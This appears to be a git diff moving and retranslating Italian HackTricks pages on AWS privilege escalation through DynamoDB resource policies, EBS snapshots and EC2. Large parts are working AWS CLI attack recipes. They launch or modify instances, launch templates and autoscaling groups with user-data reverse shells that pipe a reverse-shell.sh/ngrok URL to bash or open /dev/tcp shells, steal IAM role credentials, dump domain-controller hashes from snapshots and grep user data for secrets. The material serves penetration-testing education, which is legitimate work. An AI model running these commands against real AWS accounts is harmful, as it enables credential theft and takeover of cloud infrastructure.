+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Se devi personalizzarlo, ecco un elenco di tutte le possibili azioni di DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). E qui c'è un elenco di tutte le azioni che possono essere consentite tramite una resource based policy *E quali di queste possono essere utilizzate cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Ora, con il documento di policy `policy.json` pronto, inserisci la resource policy:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Ora dovresti avere i permessi di cui avevi bisogno.
+
+### Post Exploitation
+
+Per quanto ne so, c'è **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni sulle tabelle** (che potrebbero innescare altre vulnerabilità, come lambda code injections...) ma tutte queste opzioni sono già considerate nella **DynamoDB Post Exploitation page**:
+
+{{#ref}}
+../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+{{#endref}}
+
+### TODO: Leggere dati abusando dei data Streams
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 03d5447ae..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - EBS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-Un attaccante con questi permessi sarà in grado di **scaricare e analizzare localmente gli snapshot dei volumi** e cercare informazioni sensibili in essi (come segreti o codice sorgente). Scopri come fare questo in:
-
-{{#ref}}
-../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
-{{#endref}}
-
-Altri permessi potrebbero essere utili come: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-Lo strumento [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) esegue questo attacco per **estrarre password da un domain controller**.
-
-**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nello snapshot (potresti anche ottenere password di Active Directory).
-
-### **`ec2:CreateSnapshot`**
-
-Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando uno **snapshot del Domain Controller**, montandolo su un'istanza che controllano e **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket.
-
-Puoi utilizzare questo strumento per automatizzare l'attacco: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oppure potresti utilizzare una delle tecniche precedenti dopo aver creato uno snapshot.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
new file mode 100644
index 000000000..ba1815c21
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+Un attacker con quei permessi potrà potenzialmente **scaricare e analizzare localmente gli snapshot dei volumi** e cercare informazioni sensibili al loro interno (come secrets o source code). Trova come farlo in:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+Altri permessi potrebbero essere utili come: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to **estrarre le password da un domain controller**.
+
+**Potential Impact:** Privesc indiretto individuando informazioni sensibili nello snapshot (potresti anche ottenere le password di Active Directory).
+
+### **`ec2:CreateSnapshot`**
+
+Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
+
+You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
deleted file mode 100644
index 77e91c94d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ /dev/null
@@ -1,261 +0,0 @@
-# AWS - EC2 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Per ulteriori **informazioni su EC2** controlla:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Un attaccante potrebbe **creare un'istanza allegando un ruolo IAM e poi accedere all'istanza** per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.
-
-- **Accesso tramite SSH**
-
-Esegui una nuova istanza utilizzando una **chiave ssh** **creata** (`--key-name`) e poi accedi tramite ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
-```bash
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
---security-group-ids <sg-id>
-```
-- **Accesso tramite rev shell nei dati utente**
-
-Puoi avviare una nuova istanza utilizzando un **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare il gruppo di sicurezza in questo modo.
-```bash
-echo '#!/bin/bash
-curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
-
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> \
---count 1 \
---user-data "file:///tmp/rev.sh"
-```
-Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuori dell'istanza:
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
-{{#endref}}
-
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo EC2 associato ai profili di istanza esistenti.
-
-#### Privesc a ECS
-
-Con questo insieme di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**.
-```bash
-aws ec2 run-instances \
---image-id ami-07fde2ae86109a2af \
---instance-type t2.micro \
---iam-instance-profile <ECS_role> \
---count 1 --key-name pwned \
---user-data "file:///tmp/asd.sh"
-
-# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
-# The EC2 instance profile needs basic ECS access
-# The content of the user data is:
-#!/bin/bash
-echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
-```
-Per imparare a **forzare i servizi ECS a essere eseguiti** in questa nuova istanza EC2, controlla:
-
-{{#ref}}
-aws-ecs-privesc.md
-{{#endref}}
-
-Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance`, potresti essere in grado di registrare l'istanza all'interno del cluster e eseguire l'attacco commentato.
-
-**Impatto Potenziale:** Privesc diretto ai ruoli ECS associati ai task.
-
-### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-
-Simile allo scenario precedente, un attaccante con questi permessi potrebbe **cambiare il ruolo IAM di un'istanza compromessa** in modo da poter rubare nuove credenziali.\
-Poiché un profilo di istanza può avere solo 1 ruolo, se il profilo di istanza **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**.
-```bash
-# Removing role from instance profile
-aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
-
-# Add role to instance profile
-aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
-```
-Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **profilo dell'istanza senza un ruolo** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **ruolo** a quel **profilo dell'istanza** (come discusso in precedenza) e **associare il profilo dell'istanza** compromesso a un'istanza compromessa:
-
-- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`)
-```bash
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza).
-
-### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-
-Con questi permessi è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa.
-
-- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo**.
-```bash
-aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
-aws ec2 disassociate-iam-instance-profile --association-id <value>
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
-```bash
-aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
-```
-**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza).
-
-### `ec2:RequestSpotInstances`,`iam:PassRole`
-
-Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e un **rev shell** nei **dati utente**.\
-Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 request-spot-instances \
---instance-count 1 \
---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
-```
-### `ec2:ModifyInstanceAttribute`
-
-Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**.
-
-Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissive** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
-```bash
-TEXT='Content-Type: multipart/mixed; boundary="//"
-MIME-Version: 1.0
-
---//
-Content-Type: text/cloud-config; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="cloud-config.txt"
-
-#cloud-config
-cloud_final_modules:
-- [scripts-user, always]
-
---//
-Content-Type: text/x-shellscript; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="userdata.txt"
-
-#!/bin/bash
-bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
---//'
-TEXT_PATH="/tmp/text.b64.txt"
-
-printf $TEXT | base64 > "$TEXT_PATH"
-
-aws ec2 stop-instances --instance-ids $INSTANCE_ID
-
-aws ec2 modify-instance-attribute \
---instance-id="$INSTANCE_ID" \
---attribute userData \
---value file://$TEXT_PATH
-
-aws ec2 start-instances --instance-ids $INSTANCE_ID
-```
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo IAM EC2 associato a un'istanza creata.
-
-### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-
-Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`e `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell in** i **dati utente** e **qualsiasi ruolo IAM EC2 su di esso**, cambiare la versione predefinita, e **qualsiasi gruppo Autoscaler** **che utilizza** quel **Launch Template** che è **configurato** per utilizzare la **versione più recente** o la **versione predefinita** **riavvierà le istanze** utilizzando quel template ed eseguirà la rev shell.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 create-launch-template-version \
---launch-template-name bad_template \
---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
-
-aws ec2 modify-launch-template \
---launch-template-name bad_template \
---default-version 2
-```
-**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
-
-### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-
-Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Configurazione di Avvio** con un **Ruolo IAM** e una **rev shell** all'interno dei **dati utente**, quindi **creare un gruppo di autoscaling** da quella configurazione e aspettare che la rev shell **rubare il Ruolo IAM**.
-```bash
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
---launch-configuration-name bad_config \
---image-id ami-0c1bc246476a5572b \
---instance-type t3.micro \
---iam-instance-profile EC2-CloudWatch-Agent-Role \
---user-data "$REV"
-
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
---auto-scaling-group-name bad_auto \
---min-size 1 --max-size 1 \
---launch-configuration-name bad_config \
---desired-capacity 1 \
---vpc-zone-identifier "subnet-e282f9b8"
-```
-**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2.
-
-### `!autoscaling`
-
-Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un ruolo IAM perché per allegare il ruolo specificato nella Configurazione di Avvio o nel Modello di Avvio **hai bisogno dei permessi `iam:PassRole` e `ec2:RunInstances`** (che è un noto privesc).
-
-### `ec2-instance-connect:SendSSHPublicKey`
-
-Un attaccante con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi.
-```bash
-aws ec2-instance-connect send-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---instance-os-user "ec2-user" \
---ssh-public-key "file://$PUBK_PATH"
-```
-**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
-
-### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-
-Un attaccante con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una chiave ssh a una connessione seriale**. Se la seriale non è abilitata, l'attaccante ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.
-
-Per connettersi alla porta seriale è anche **necessario conoscere il nome utente e la password di un utente** all'interno della macchina.
-```bash
-aws ec2 enable-serial-console-access
-
-aws ec2-instance-connect send-serial-console-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---serial-port 0 \
---region "eu-west-1" \
---ssh-public-key "file://$PUBK_PATH"
-
-ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
-```
-Questo metodo non è molto utile per il privesc poiché è necessario conoscere un nome utente e una password per sfruttarlo.
-
-**Impatto Potenziale:** (Altamente improbabile) Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
-
-### `describe-launch-templates`,`describe-launch-template-versions`
-
-Poiché i modelli di avvio hanno versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili:
-```bash
-for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
-do
-echo "[*] Analyzing $i"
-aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-do
-echo "VersionNumber: $version"
-echo "$userdata" | base64 -d
-echo
-done | grep -iE "aws_|password|token|api"
-done
-```
-Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|password|token|api`), puoi utilizzare una regex diversa per cercare altri tipi di informazioni sensibili.
-
-Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS.
-
-**Impatto Potenziale:** Escalation di privilegi diretta a IAM user(s).
-
-## Riferimenti
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
new file mode 100644
index 000000000..de0345c4e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -0,0 +1,300 @@
+# AWS - EC2 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Per maggiori **informazioni su EC2** consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Un attacker potrebbe **creare un'istanza assegnando un IAM role e poi accedervi** per rubare le credenziali dell'IAM role dall'endpoint metadata.
+
+- **Accesso via SSH**
+
+Avvia una nuova istanza utilizzando una **creata** **ssh key** (`--key-name`) e poi fai ssh su di essa (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
+```bash
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
+--security-group-ids <sg-id>
+```
+- **Access via rev shell in user data**
+
+Puoi avviare una nuova istanza usando un **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare il security group in questo modo.
+```bash
+echo '#!/bin/bash
+curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
+
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
+```
+Fai attenzione a GuradDuty se usi le credenziali del ruolo IAM al di fuori dell'istanza:
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
+
+**Potenziale impatto:** privesc diretto verso qualsiasi EC2 role associato a instance profiles esistenti.
+
+#### Privesc a ECS
+
+Con questo set di permessi potresti anche **creare un EC2 instance e registrarlo all'interno di un ECS cluster**. In questo modo, gli ECS **services** verranno **eseguiti** all'interno della **EC2 instance** a cui hai accesso e potrai poi penetrare quei servizi (docker containers) e **rubare i loro ECS roles associati**.
+```bash
+aws ec2 run-instances \
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile <ECS_role> \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
+
+# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
+# The EC2 instance profile needs basic ECS access
+# The content of the user data is:
+#!/bin/bash
+echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
+```
+Per imparare come forzare l'esecuzione dei servizi ECS in questa nuova istanza EC2 controlla:
+
+{{#ref}}
+../aws-ecs-privesc/README.md
+{{#endref}}
+
+Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance` potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco commentato.
+
+**Impatto potenziale:** Privesc diretto verso i ruoli ECS associati ai task.
+
+### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+
+Analogamente allo scenario precedente, un attaccante con questi permessi potrebbe **cambiare il ruolo IAM di un'istanza compromessa** così da poter rubare nuove credenziali.\
+Poiché un instance profile può avere solo 1 ruolo, se l'instance profile **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**.
+```bash
+# Removing role from instance profile
+aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
+
+# Add role to instance profile
+aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
+```
+Se il **instance profile ha un role** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **role** a quell'**instance profile** (come discusso in precedenza), e **associare l'instance profile** compromised a una instance compromised:
+
+- Se l'instance **non ha alcun instance** profile (`ec2:AssociateIamInstanceProfile`)
+```bash
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+**Impatto potenziale:** Direct privesc to a different EC2 role (devi aver compromesso un'istanza AWS EC2 e avere qualche permesso aggiuntivo o uno specifico stato dell'instance profile).
+
+### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
+
+Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se un attaccante ha già accesso a un'istanza potrà rubare credenziali per altri ruoli dell'instance profile cambiando quello associato.
+
+- Se essa **ha un instance profile**, puoi **rimuovere** l'instance profile (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
+```bash
+aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
+aws ec2 disassociate-iam-instance-profile --association-id <value>
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+- oppure **sostituire** il **instance profile** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
+```bash
+aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
+```
+**Impatto potenziale:** Privesc diretto a un diverso EC2 role (è necessario aver compromesso un'istanza AWS EC2 e disporre di permessi aggiuntivi o di uno specifico stato dell'instance profile).
+
+### `ec2:RequestSpotInstances`,`iam:PassRole`
+
+Un attaccante con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può **richiedere** una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nei **user data**.\
+Una volta che l'istanza viene avviata, può **rubare l'IAM role**.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 request-spot-instances \
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+```
+### `ec2:ModifyInstanceAttribute`
+
+Un attaccante con la **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi, può **change the user data**, il che implica che può far eseguire all'istanza **run arbitrary data.** Ciò può essere usato per ottenere una **rev shell to the EC2 instance**.
+
+Nota che gli attributi possono essere **modificati solo mentre l'istanza è arrestata**, quindi sono necessari i **permessi** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
+```bash
+TEXT='Content-Type: multipart/mixed; boundary="//"
+MIME-Version: 1.0
+
+--//
+Content-Type: text/cloud-config; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="cloud-config.txt"
+
+#cloud-config
+cloud_final_modules:
+- [scripts-user, always]
+
+--//
+Content-Type: text/x-shellscript; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="userdata.txt"
+
+#!/bin/bash
+bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
+--//'
+TEXT_PATH="/tmp/text.b64.txt"
+
+printf $TEXT | base64 > "$TEXT_PATH"
+
+aws ec2 stop-instances --instance-ids $INSTANCE_ID
+
+aws ec2 modify-instance-attribute \
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
+
+aws ec2 start-instances --instance-ids $INSTANCE_ID
+```
+**Potenziale impatto:** privesc diretto verso qualsiasi EC2 IAM Role associato a un'istanza creata.
+
+### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
+
+Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova Launch Template version** con una **rev shell nei** **user data** e **qualsiasi EC2 IAM Role su di essa**, cambiare la versione predefinita, e **qualsiasi Autoscaler group** **che usa** quel **Launch Template** e che è **configurato** per usare la **latest** o la **default version** riavvierà le istanze usando quel template ed eseguirà la rev shell.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 create-launch-template-version \
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+
+aws ec2 modify-launch-template \
+--launch-template-name bad_template \
+--default-version 2
+```
+**Potenziale Impatto:** privesc diretto a un diverso ruolo EC2.
+
+### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
+
+Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Launch Configuration** con un **IAM Role** e una **rev shell** all'interno dei **user data**, poi **creare un autoscaling group** da quella config e aspettare che la rev shell **rubi l'IAM Role**.
+```bash
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
+
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
+```
+**Impatto potenziale:** Privesc diretto a un diverso ruolo EC2.
+
+### `!autoscaling`
+
+Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un ruolo IAM perché, per poter allegare il ruolo specificato nella Launch Configuration o nel Launch Template, **è necessario il permesso `iam:PassRole` e `ec2:RunInstances`** (che è un privesc noto).
+
+### `ec2-instance-connect:SendSSHPublicKey`
+
+Un attacker con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedere (se ha accesso ssh all'istanza) o per escalare i privilegi.
+```bash
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
+```
+**Potential Impact:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione.
+
+### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+Un attacker con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una ssh key a una connessione seriale**. Se la console seriale non è abilitata, l'attacker ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.
+
+Per connettersi alla porta seriale è inoltre necessario **conoscere lo username e la password di un utente** presente nella macchina.
